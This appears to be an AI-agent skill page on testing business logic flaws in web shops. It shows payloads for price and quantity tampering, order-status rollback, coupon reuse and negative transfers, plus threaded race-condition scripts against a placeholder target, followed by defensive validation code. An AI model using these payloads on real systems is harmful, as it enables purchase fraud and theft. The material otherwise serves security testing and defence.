Loading...
Loading...
Professional Skills and Methodologies for Business Logic Vulnerability Testing
npx skill4agent add ed1s0nz/cyberstrikeai business-logic-testingNormal flow: Step 1 → Step 2 → Step 3
Test: Directly access Step 3
Test: Step 1 → Step 3 (skip Step 2)POST /api/purchase
{
"product_id": 123,
"quantity": 1,
"price": 100.00 # Modify to 0.01
}{
"quantity": -1,
"price": -100.00
}import threading
import requests
def purchase():
requests.post('https://target.com/api/purchase',
json={'product_id': 123, 'quantity': 1})
# Send 10 requests simultaneously
for i in range(10):
threading.Thread(target=purchase).start()PATCH /api/order/123
{
"status": "completed" # Modify to completed
}PATCH /api/order/123
{
"status": "pending" # Rollback from completed to pending payment
}{
"product_id": 123,
"price": -100.00,
"quantity": 1
}// Frontend code
const price = 100.00;
// Modify to
const price = 0.01;POST /api/checkout
{
"items": [
{
"product_id": 123,
"price": 0.01, # Original price 100.00
"quantity": 1
}
]
}{
"product_id": 123,
"quantity": -10 # May lead to increased inventory
}{
"product_id": 123,
"quantity": 999999 # Exceed single purchase limit
}POST /api/checkout
{
"coupon": "DISCOUNT50",
"items": [...]
}
# Reuse the same couponPOST /api/checkout
{
"coupon": "EXPIRED_COUPON", # Use expired coupon
"items": [...]
}{
"amount": -1000.00 # May lead to increased account balance
}{
"amount": 999999.00 # Exceed account balance
}import threading
import requests
def buy():
requests.post('https://target.com/api/purchase',
json={'product_id': 123, 'quantity': 1})
// Flash sale, concurrent requests
for i in range(100):
threading.Thread(target=buy).start()Error: "Insufficient balance, current balance: 100.00"
→ Can obtain account balance informationimport requests
import json
def test_price_manipulation():
# Test price modification
for price in [0.01, -100, 0, 999999]:
data = {
"product_id": 123,
"price": price,
"quantity": 1
}
response = requests.post('https://target.com/api/purchase',
json=data)
print(f"Price {price}: {response.status_code}")
test_price_manipulation()def process_purchase(product_id, quantity, price):
# Get real price from database
real_price = db.get_product_price(product_id)
# Validate price
if price != real_price:
raise ValueError("Price mismatch")
# Validate quantity
if quantity <= 0:
raise ValueError("Invalid quantity")
# Process purchase
process_order(product_id, quantity, real_price)class OrderState:
PENDING = "pending"
PAID = "paid"
SHIPPED = "shipped"
COMPLETED = "completed"
TRANSITIONS = {
PENDING: [PAID],
PAID: [SHIPPED],
SHIPPED: [COMPLETED]
}
def can_transition(self, from_state, to_state):
return to_state in self.TRANSITIONS.get(from_state, [])import threading
lock = threading.Lock()
def process_order(order_id):
with lock:
# Check order status
order = db.get_order(order_id)
if order.status != 'pending':
raise ValueError("Order already processed")
# Process order
process(order)def validate_business_rules(order):
# Validate quantity limit
if order.quantity > MAX_QUANTITY:
raise ValueError("Quantity exceeds limit")
# Validate price range
if order.price <= 0:
raise ValueError("Invalid price")
# Validate inventory
if order.quantity > get_stock(order.product_id):
raise ValueError("Insufficient stock")def log_business_action(user_id, action, details):
log_entry = {
"user_id": user_id,
"action": action,
"details": details,
"timestamp": datetime.now()
}
db.log_action(log_entry)